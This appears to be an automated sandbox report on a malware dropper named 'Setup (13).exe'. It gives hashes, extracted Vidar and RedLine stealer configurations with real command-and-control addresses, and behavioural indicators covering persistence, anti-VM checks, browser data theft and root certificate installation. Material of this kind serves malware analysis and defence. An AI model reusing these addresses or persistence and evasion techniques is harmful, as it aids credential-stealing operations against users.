Overview
overview
10Static
static
Setup (1).exe
windows7_x64
10Setup (1).exe
windows10_x64
10Setup (10).exe
windows7_x64
10Setup (10).exe
windows10_x64
10Setup (11).exe
windows7_x64
10Setup (11).exe
windows10_x64
10Setup (12).exe
windows7_x64
10Setup (12).exe
windows10_x64
10Setup (13).exe
windows7_x64
10Setup (13).exe
windows10_x64
10Setup (14).exe
windows7_x64
10Setup (14).exe
windows10_x64
10Setup (15).exe
windows7_x64
10Setup (15).exe
windows10_x64
10Setup (16).exe
windows7_x64
10Setup (16).exe
windows10_x64
10Setup (17).exe
windows7_x64
10Setup (17).exe
windows10_x64
10Setup (18).exe
windows7_x64
10Setup (18).exe
windows10_x64
10Setup (19).exe
windows7_x64
10Setup (19).exe
windows10_x64
10Setup (2).exe
windows7_x64
10Setup (2).exe
windows10_x64
10Setup (20).exe
windows7_x64
10Setup (20).exe
windows10_x64
10Setup (21).exe
windows7_x64
10Setup (21).exe
windows10_x64
10Setup (22).exe
windows7_x64
10Setup (22).exe
windows10_x64
10Setup (23).exe
windows7_x64
10Setup (23).exe
windows10_x64
10Resubmissions
11-03-2024 21:22
240311-z8dsssgg58 1001-09-2021 13:18
210901-5bmxjspa5s 1001-09-2021 13:04
210901-te4btfspqa 1001-09-2021 05:12
210901-4wnkwm1p3j 1031-08-2021 21:47
210831-41rp97dma2 1031-08-2021 19:51
210831-359awwatje 1029-08-2021 11:37
210829-18htk4slyj 1028-08-2021 23:10
210828-rt8b9gzxn6 1028-08-2021 22:59
210828-zxgnh5j4w6 1028-08-2021 11:31
210828-xrjs66aknj 10Analysis
-
max time kernel
180s -
max time network
1816s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
24-08-2021 12:53
Static task
static1
Behavioral task
behavioral1
Sample
Setup (1).exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
Setup (1).exe
Resource
win10v20210410
Behavioral task
behavioral3
Sample
Setup (10).exe
Resource
win7v20210410
Behavioral task
behavioral4
Sample
Setup (10).exe
Resource
win10v20210408
Behavioral task
behavioral5
Sample
Setup (11).exe
Resource
win7v20210410
Behavioral task
behavioral6
Sample
Setup (11).exe
Resource
win10v20210408
Behavioral task
behavioral7
Sample
Setup (12).exe
Resource
win7v20210410
Behavioral task
behavioral8
Sample
Setup (12).exe
Resource
win10v20210410
Behavioral task
behavioral9
Sample
Setup (13).exe
Resource
win7v20210408
Behavioral task
behavioral10
Sample
Setup (13).exe
Resource
win10v20210410
Behavioral task
behavioral11
Sample
Setup (14).exe
Resource
win7v20210408
Behavioral task
behavioral12
Sample
Setup (14).exe
Resource
win10v20210410
Behavioral task
behavioral13
Sample
Setup (15).exe
Resource
win7v20210408
Behavioral task
behavioral14
Sample
Setup (15).exe
Resource
win10v20210410
Behavioral task
behavioral15
Sample
Setup (16).exe
Resource
win7v20210410
Behavioral task
behavioral16
Sample
Setup (16).exe
Resource
win10v20210408
Behavioral task
behavioral17
Sample
Setup (17).exe
Resource
win7v20210410
Behavioral task
behavioral18
Sample
Setup (17).exe
Resource
win10v20210408
Behavioral task
behavioral19
Sample
Setup (18).exe
Resource
win7v20210410
Behavioral task
behavioral20
Sample
Setup (18).exe
Resource
win10v20210408
Behavioral task
behavioral21
Sample
Setup (19).exe
Resource
win7v20210410
Behavioral task
behavioral22
Sample
Setup (19).exe
Resource
win10v20210410
Behavioral task
behavioral23
Sample
Setup (2).exe
Resource
win7v20210408
Behavioral task
behavioral24
Sample
Setup (2).exe
Resource
win10v20210410
Behavioral task
behavioral25
Sample
Setup (20).exe
Resource
win7v20210408
Behavioral task
behavioral26
Sample
Setup (20).exe
Resource
win10v20210410
Behavioral task
behavioral27
Sample
Setup (21).exe
Resource
win7v20210408
Behavioral task
behavioral28
Sample
Setup (21).exe
Resource
win10v20210410
Behavioral task
behavioral29
Sample
Setup (22).exe
Resource
win7v20210410
Behavioral task
behavioral30
Sample
Setup (22).exe
Resource
win10v20210408
Behavioral task
behavioral31
Sample
Setup (23).exe
Resource
win7v20210410
Behavioral task
behavioral32
Sample
Setup (23).exe
Resource
win10v20210408
General
-
Target
Setup (13).exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Malware Config
Extracted
vidar
40.1
937
https://eduarroma.tumblr.com/
-
profile_id
937
Extracted
redline
dibild2
135.148.139.222:1494
Extracted
redline
24.08
95.181.172.100:55640
Signatures
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Process spawned unexpected child process 6 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
rundll32.exeschtasks.exeschtasks.exerundll32.exerundll32.exeschtasks.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5216 3456 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 7952 3456 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 8600 3456 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 8960 3456 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 9688 3456 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 10056 3456 schtasks.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 10 IoCs
Processes:
resource yara_rule C:\Users\Admin\Documents\z51kerXhR4qCMxvBM5dLo_1P.exe family_redline C:\Users\Admin\Documents\06BUlcOSX27s6NwuBE1PUK8f.exe family_redline C:\Users\Admin\Documents\z51kerXhR4qCMxvBM5dLo_1P.exe family_redline C:\Users\Admin\Documents\06BUlcOSX27s6NwuBE1PUK8f.exe family_redline behavioral10/memory/4088-316-0x000000000041A616-mapping.dmp family_redline behavioral10/memory/4088-312-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral10/memory/1760-320-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral10/memory/1760-347-0x0000000005940000-0x0000000005E3E000-memory.dmp family_redline behavioral10/memory/4088-353-0x0000000005820000-0x0000000005E26000-memory.dmp family_redline behavioral10/memory/1760-323-0x000000000041A76A-mapping.dmp family_redline -
Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exedescription pid process target process PID 5308 created 1860 5308 WerFault.exe Yu0K1THJGPVSJl7R3jPQ1Vw9.exe PID 5596 created 2228 5596 WerFault.exe v1QoyhLJ39YKHNKo3EQLlLwF.exe PID 4704 created 2332 4704 WerFault.exe IwS3Hcnw6LP_TtlIUOcgdRUY.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
Processes:
resource yara_rule behavioral10/memory/2332-298-0x0000000000400000-0x0000000002402000-memory.dmp family_vidar behavioral10/memory/2332-279-0x00000000026A0000-0x000000000273D000-memory.dmp family_vidar -
Downloads MZ/PE file
-
Executes dropped EXE 64 IoCs
Processes:
FVsZH3eeafrePca25ZaqMrVR.exeLWdSlx6KnNPyDD9ErA9ux6Z3.exeIwS3Hcnw6LP_TtlIUOcgdRUY.exeDFTLome9bZrB0aNUEeoX_McI.exePzdQ5gevBDZ7lZbUEiooSIWQ.exeVG19u56N4J6FYGC53NDwQ152.exegJBLIo5Scuf_eAWu_sx5Y9hP.exern70hcRnuRJ68siCwhAjyIUa.exe3U24wEZH6FRWCUiKHoqRaXCu.exev1QoyhLJ39YKHNKo3EQLlLwF.exeaTu2o7BTEmyRQv1F8FOgNuKk.exeultradumnibour.exez51kerXhR4qCMxvBM5dLo_1P.exe5sQ5Z7CPRdquSOgoP1PJF8PK.exec3GiFBR61cYbL_llC9XXVtpC.exeeX4vpKU0AZTMWPK6YA6XwNGv.exeYu0K1THJGPVSJl7R3jPQ1Vw9.exeu5m_dneJ4qJSegTcL3IYsNNI.exeAG4fPIyeZYtrxBV5YRK25JvI.exeT_AG8tDKvAp_h29MoWbMcXIL.exetaskkill.exeuEPksZOek25oIb0bab6RhDEQ.exeu5m_dneJ4qJSegTcL3IYsNNI.tmp06BUlcOSX27s6NwuBE1PUK8f.exe__fkFwFy8mYDom5ZLau5MI9G.execustomer3.exemd8_8eus.exejooyu.exe5sQ5Z7CPRdquSOgoP1PJF8PK.exe5634537.exe5sQ5Z7CPRdquSOgoP1PJF8PK.exeeX4vpKU0AZTMWPK6YA6XwNGv.exe5sQ5Z7CPRdquSOgoP1PJF8PK.exe2658618.exe3488781.exeagLyW3D4rZpJIN7NJEgjORhx.exe6027458.exeWO~L~OYJWS8EVL1.eXeMicrosoftEdgeCP.exe11111.exeAG4fPIyeZYtrxBV5YRK25JvI.exe11111.exeSetup.exeWinHoster.exeStats.exe11111.exerunvd.exeInlog.exeCleaner Installation.exeWEATHER Manager.exe11111.exeStats.tmpMediaBurner2.exeVPN.exeEsplorarne.exe.comInlog.tmpzhaoy-game.exeWEATHER Manager.tmpMediaBurner2.tmpLivelyScreenRecS1.9.exeVPN.tmpxtect12.exeRuntimeBroker.exepid process 2572 FVsZH3eeafrePca25ZaqMrVR.exe 2776 LWdSlx6KnNPyDD9ErA9ux6Z3.exe 2332 IwS3Hcnw6LP_TtlIUOcgdRUY.exe 3496 DFTLome9bZrB0aNUEeoX_McI.exe 3036 PzdQ5gevBDZ7lZbUEiooSIWQ.exe 752 VG19u56N4J6FYGC53NDwQ152.exe 2304 gJBLIo5Scuf_eAWu_sx5Y9hP.exe 1628 rn70hcRnuRJ68siCwhAjyIUa.exe 2276 3U24wEZH6FRWCUiKHoqRaXCu.exe 2228 v1QoyhLJ39YKHNKo3EQLlLwF.exe 3716 aTu2o7BTEmyRQv1F8FOgNuKk.exe 3272 ultradumnibour.exe 2052 z51kerXhR4qCMxvBM5dLo_1P.exe 1104 5sQ5Z7CPRdquSOgoP1PJF8PK.exe 1820 c3GiFBR61cYbL_llC9XXVtpC.exe 1960 eX4vpKU0AZTMWPK6YA6XwNGv.exe 1860 Yu0K1THJGPVSJl7R3jPQ1Vw9.exe 3928 u5m_dneJ4qJSegTcL3IYsNNI.exe 4200 AG4fPIyeZYtrxBV5YRK25JvI.exe 4212 T_AG8tDKvAp_h29MoWbMcXIL.exe 4240 taskkill.exe 4404 uEPksZOek25oIb0bab6RhDEQ.exe 4452 u5m_dneJ4qJSegTcL3IYsNNI.tmp 4604 06BUlcOSX27s6NwuBE1PUK8f.exe 4640 __fkFwFy8mYDom5ZLau5MI9G.exe 4708 customer3.exe 4784 md8_8eus.exe 4848 jooyu.exe 1300 5sQ5Z7CPRdquSOgoP1PJF8PK.exe 4220 5634537.exe 4556 5sQ5Z7CPRdquSOgoP1PJF8PK.exe 4088 eX4vpKU0AZTMWPK6YA6XwNGv.exe 1760 5sQ5Z7CPRdquSOgoP1PJF8PK.exe 3152 2658618.exe 4220 5634537.exe 4768 3488781.exe 1816 agLyW3D4rZpJIN7NJEgjORhx.exe 4128 6027458.exe 4380 WO~L~OYJWS8EVL1.eXe 1404 MicrosoftEdgeCP.exe 4860 11111.exe 1912 AG4fPIyeZYtrxBV5YRK25JvI.exe 1228 11111.exe 4808 Setup.exe 2888 WinHoster.exe 5520 Stats.exe 5552 11111.exe 5564 runvd.exe 5608 Inlog.exe 5636 Cleaner Installation.exe 5680 WEATHER Manager.exe 5708 11111.exe 5720 Stats.tmp 5732 MediaBurner2.exe 5772 VPN.exe 5828 Esplorarne.exe.com 5872 Inlog.tmp 5892 zhaoy-game.exe 5916 WEATHER Manager.tmp 5940 MediaBurner2.tmp 5968 LivelyScreenRecS1.9.exe 6120 VPN.tmp 6068 xtect12.exe 6136 RuntimeBroker.exe -
Checks BIOS information in registry 2 TTPs 8 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
z51kerXhR4qCMxvBM5dLo_1P.exe06BUlcOSX27s6NwuBE1PUK8f.exeLWdSlx6KnNPyDD9ErA9ux6Z3.exegJBLIo5Scuf_eAWu_sx5Y9hP.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion z51kerXhR4qCMxvBM5dLo_1P.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 06BUlcOSX27s6NwuBE1PUK8f.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 06BUlcOSX27s6NwuBE1PUK8f.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion LWdSlx6KnNPyDD9ErA9ux6Z3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion LWdSlx6KnNPyDD9ErA9ux6Z3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion gJBLIo5Scuf_eAWu_sx5Y9hP.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion gJBLIo5Scuf_eAWu_sx5Y9hP.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion z51kerXhR4qCMxvBM5dLo_1P.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Setup (13).exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation Setup (13).exe -
Drops startup file 2 IoCs
Processes:
customer3.exedescription ioc process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fastsystem2021.exe customer3.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fastsystem2021.exe customer3.exe -
Loads dropped DLL 17 IoCs
Processes:
ultradumnibour.exeuEPksZOek25oIb0bab6RhDEQ.exeu5m_dneJ4qJSegTcL3IYsNNI.tmpCleaner Installation.exeStats.tmpInlog.tmpWEATHER Manager.tmpMediaBurner2.tmpVPN.tmpWeather.exerundll32.exepid process 3272 ultradumnibour.exe 4404 uEPksZOek25oIb0bab6RhDEQ.exe 4452 u5m_dneJ4qJSegTcL3IYsNNI.tmp 4452 u5m_dneJ4qJSegTcL3IYsNNI.tmp 5636 Cleaner Installation.exe 5720 Stats.tmp 5720 Stats.tmp 5872 Inlog.tmp 5872 Inlog.tmp 5916 WEATHER Manager.tmp 5916 WEATHER Manager.tmp 5940 MediaBurner2.tmp 6120 VPN.tmp 6120 VPN.tmp 3220 Weather.exe 5924 rundll32.exe 5924 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\Documents\gJBLIo5Scuf_eAWu_sx5Y9hP.exe themida C:\Users\Admin\Documents\LWdSlx6KnNPyDD9ErA9ux6Z3.exe themida C:\Users\Admin\Documents\gJBLIo5Scuf_eAWu_sx5Y9hP.exe themida C:\Users\Admin\Documents\z51kerXhR4qCMxvBM5dLo_1P.exe themida C:\Users\Admin\Documents\LWdSlx6KnNPyDD9ErA9ux6Z3.exe themida behavioral10/memory/2304-198-0x00000000008F0000-0x00000000008F1000-memory.dmp themida C:\Users\Admin\Documents\06BUlcOSX27s6NwuBE1PUK8f.exe themida behavioral10/memory/2776-199-0x0000000001100000-0x0000000001101000-memory.dmp themida C:\Users\Admin\Documents\z51kerXhR4qCMxvBM5dLo_1P.exe themida C:\Users\Admin\Documents\06BUlcOSX27s6NwuBE1PUK8f.exe themida behavioral10/memory/4604-293-0x0000000000B10000-0x0000000000B11000-memory.dmp themida behavioral10/memory/2052-257-0x0000000001140000-0x0000000001141000-memory.dmp themida -
Adds Run key to start application 2 TTPs 7 IoCs
Processes:
ultradumnibour.exe5634537.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WerFault = "\"C:\\ProgramData\\USOPrivate\\WerFault.exe\"" ultradumnibour.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\06BUlcOSX27s6NwuBE1PUK8f = "\"C:\\Users\\Admin\\Documents\\IwS3Hcnw6LP_TtlIUOcgdRUY\\06BUlcOSX27s6NwuBE1PUK8f.exe\"" ultradumnibour.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\T_AG8tDKvAp_h29MoWbMcXIL = "\"C:\\Users\\Admin\\Documents\\JoinSkip\\T_AG8tDKvAp_h29MoWbMcXIL.exe\"" ultradumnibour.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Yu0K1THJGPVSJl7R3jPQ1Vw9 = "\"C:\\Users\\Admin\\Documents\\T_AG8tDKvAp_h29MoWbMcXIL\\Yu0K1THJGPVSJl7R3jPQ1Vw9.exe\"" ultradumnibour.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 5634537.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Windows\\System32\\amcompat\\RuntimeBroker.exe\"" ultradumnibour.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Windows\\System32\\IconCodecService\\spoolsv.exe\"" ultradumnibour.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
LWdSlx6KnNPyDD9ErA9ux6Z3.exegJBLIo5Scuf_eAWu_sx5Y9hP.exez51kerXhR4qCMxvBM5dLo_1P.exe06BUlcOSX27s6NwuBE1PUK8f.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA LWdSlx6KnNPyDD9ErA9ux6Z3.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA gJBLIo5Scuf_eAWu_sx5Y9hP.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA z51kerXhR4qCMxvBM5dLo_1P.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 06BUlcOSX27s6NwuBE1PUK8f.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 13 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 248 ipinfo.io 249 ipinfo.io 353 ip-api.com 396 ipinfo.io 30 ipinfo.io 129 ipinfo.io 212 ipinfo.io 207 ipinfo.io 214 ipinfo.io 394 ipinfo.io 31 ipinfo.io 133 ipinfo.io 153 ip-api.com -
Drops file in System32 directory 4 IoCs
Processes:
ultradumnibour.exedescription ioc process File created C:\Windows\System32\amcompat\RuntimeBroker.exe ultradumnibour.exe File created C:\Windows\System32\amcompat\9e8d7a4ca61bd92aff00cc37a7a4d62a2cac998d ultradumnibour.exe File created C:\Windows\System32\IconCodecService\spoolsv.exe ultradumnibour.exe File created C:\Windows\System32\IconCodecService\f3b6ecef712a24f33798f5d2fb3790c3d9b894c4 ultradumnibour.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
Processes:
LWdSlx6KnNPyDD9ErA9ux6Z3.exegJBLIo5Scuf_eAWu_sx5Y9hP.exez51kerXhR4qCMxvBM5dLo_1P.exe06BUlcOSX27s6NwuBE1PUK8f.exebuilder.exepid process 2776 LWdSlx6KnNPyDD9ErA9ux6Z3.exe 2304 gJBLIo5Scuf_eAWu_sx5Y9hP.exe 2052 z51kerXhR4qCMxvBM5dLo_1P.exe 4604 06BUlcOSX27s6NwuBE1PUK8f.exe 5256 builder.exe 5256 builder.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
eX4vpKU0AZTMWPK6YA6XwNGv.exe5sQ5Z7CPRdquSOgoP1PJF8PK.exeAG4fPIyeZYtrxBV5YRK25JvI.exe__fkFwFy8mYDom5ZLau5MI9G.exedescription pid process target process PID 1960 set thread context of 4088 1960 eX4vpKU0AZTMWPK6YA6XwNGv.exe eX4vpKU0AZTMWPK6YA6XwNGv.exe PID 1104 set thread context of 1760 1104 5sQ5Z7CPRdquSOgoP1PJF8PK.exe 5sQ5Z7CPRdquSOgoP1PJF8PK.exe PID 4200 set thread context of 1912 4200 AG4fPIyeZYtrxBV5YRK25JvI.exe AG4fPIyeZYtrxBV5YRK25JvI.exe PID 4640 set thread context of 5228 4640 __fkFwFy8mYDom5ZLau5MI9G.exe __fkFwFy8mYDom5ZLau5MI9G.exe -
Drops file in Program Files directory 20 IoCs
Processes:
3U24wEZH6FRWCUiKHoqRaXCu.exeSetup.exedescription ioc process File opened for modification C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe 3U24wEZH6FRWCUiKHoqRaXCu.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\jooyu.exe 3U24wEZH6FRWCUiKHoqRaXCu.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe 3U24wEZH6FRWCUiKHoqRaXCu.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe Setup.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\customer3.exe 3U24wEZH6FRWCUiKHoqRaXCu.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\Uninstall.exe Setup.exe File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini 3U24wEZH6FRWCUiKHoqRaXCu.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe Setup.exe File created C:\Program Files (x86)\GameBox INC\GameBox\Uninstall.ini Setup.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 37 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 2260 2228 WerFault.exe v1QoyhLJ39YKHNKo3EQLlLwF.exe 1268 2228 WerFault.exe v1QoyhLJ39YKHNKo3EQLlLwF.exe 1368 2228 WerFault.exe v1QoyhLJ39YKHNKo3EQLlLwF.exe 5308 1860 WerFault.exe Yu0K1THJGPVSJl7R3jPQ1Vw9.exe 4464 2228 WerFault.exe v1QoyhLJ39YKHNKo3EQLlLwF.exe 4172 4212 WerFault.exe T_AG8tDKvAp_h29MoWbMcXIL.exe 5596 2228 WerFault.exe v1QoyhLJ39YKHNKo3EQLlLwF.exe 5800 4212 WerFault.exe T_AG8tDKvAp_h29MoWbMcXIL.exe 5416 4212 WerFault.exe T_AG8tDKvAp_h29MoWbMcXIL.exe 4704 2332 WerFault.exe IwS3Hcnw6LP_TtlIUOcgdRUY.exe 5140 4212 WerFault.exe T_AG8tDKvAp_h29MoWbMcXIL.exe 5160 4212 WerFault.exe T_AG8tDKvAp_h29MoWbMcXIL.exe 5260 4212 WerFault.exe T_AG8tDKvAp_h29MoWbMcXIL.exe 4692 4212 WerFault.exe T_AG8tDKvAp_h29MoWbMcXIL.exe 6744 4212 WerFault.exe T_AG8tDKvAp_h29MoWbMcXIL.exe 4888 7264 WerFault.exe r2DYN_R3GtxSF7C3ILuc69JT.exe 4560 7264 WerFault.exe r2DYN_R3GtxSF7C3ILuc69JT.exe 7180 7264 WerFault.exe r2DYN_R3GtxSF7C3ILuc69JT.exe 7720 7264 WerFault.exe r2DYN_R3GtxSF7C3ILuc69JT.exe 6664 6404 WerFault.exe 0cbpkNPRueRUzU3C9DH4gwbX.exe 6292 6404 WerFault.exe 0cbpkNPRueRUzU3C9DH4gwbX.exe 7244 6404 WerFault.exe 0cbpkNPRueRUzU3C9DH4gwbX.exe 5816 6404 WerFault.exe 0cbpkNPRueRUzU3C9DH4gwbX.exe 7968 6404 WerFault.exe 0cbpkNPRueRUzU3C9DH4gwbX.exe 8496 6404 WerFault.exe 0cbpkNPRueRUzU3C9DH4gwbX.exe 8864 6404 WerFault.exe 0cbpkNPRueRUzU3C9DH4gwbX.exe 8396 6404 WerFault.exe 0cbpkNPRueRUzU3C9DH4gwbX.exe 4728 6404 WerFault.exe 0cbpkNPRueRUzU3C9DH4gwbX.exe 8248 8772 WerFault.exe GcleanerEU.exe 7276 8772 WerFault.exe GcleanerEU.exe 7436 8772 WerFault.exe GcleanerEU.exe 3748 360 WerFault.exe gcleaner.exe 8708 360 WerFault.exe gcleaner.exe 9048 8772 WerFault.exe GcleanerEU.exe 7908 4212 WerFault.exe T_AG8tDKvAp_h29MoWbMcXIL.exe 6544 8772 WerFault.exe GcleanerEU.exe 6832 8772 WerFault.exe GcleanerEU.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
PzdQ5gevBDZ7lZbUEiooSIWQ.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI PzdQ5gevBDZ7lZbUEiooSIWQ.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI PzdQ5gevBDZ7lZbUEiooSIWQ.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI PzdQ5gevBDZ7lZbUEiooSIWQ.exe -
Creates scheduled task(s) 1 TTPs 9 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 8600 schtasks.exe 10056 schtasks.exe 1368 schtasks.exe 1124 schtasks.exe 4584 schtasks.exe 5176 schtasks.exe 7952 schtasks.exe 5052 schtasks.exe 4080 schtasks.exe -
Delays execution with timeout.exe 2 IoCs
Processes:
timeout.exetimeout.exepid process 312 timeout.exe 6992 timeout.exe -
Kills process with taskkill 6 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 9160 taskkill.exe 4368 taskkill.exe 5304 taskkill.exe 7012 taskkill.exe 4240 taskkill.exe 8228 taskkill.exe -
Modifies registry class 3 IoCs
Processes:
description ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance -
Processes:
Setup (13).exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Setup (13).exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f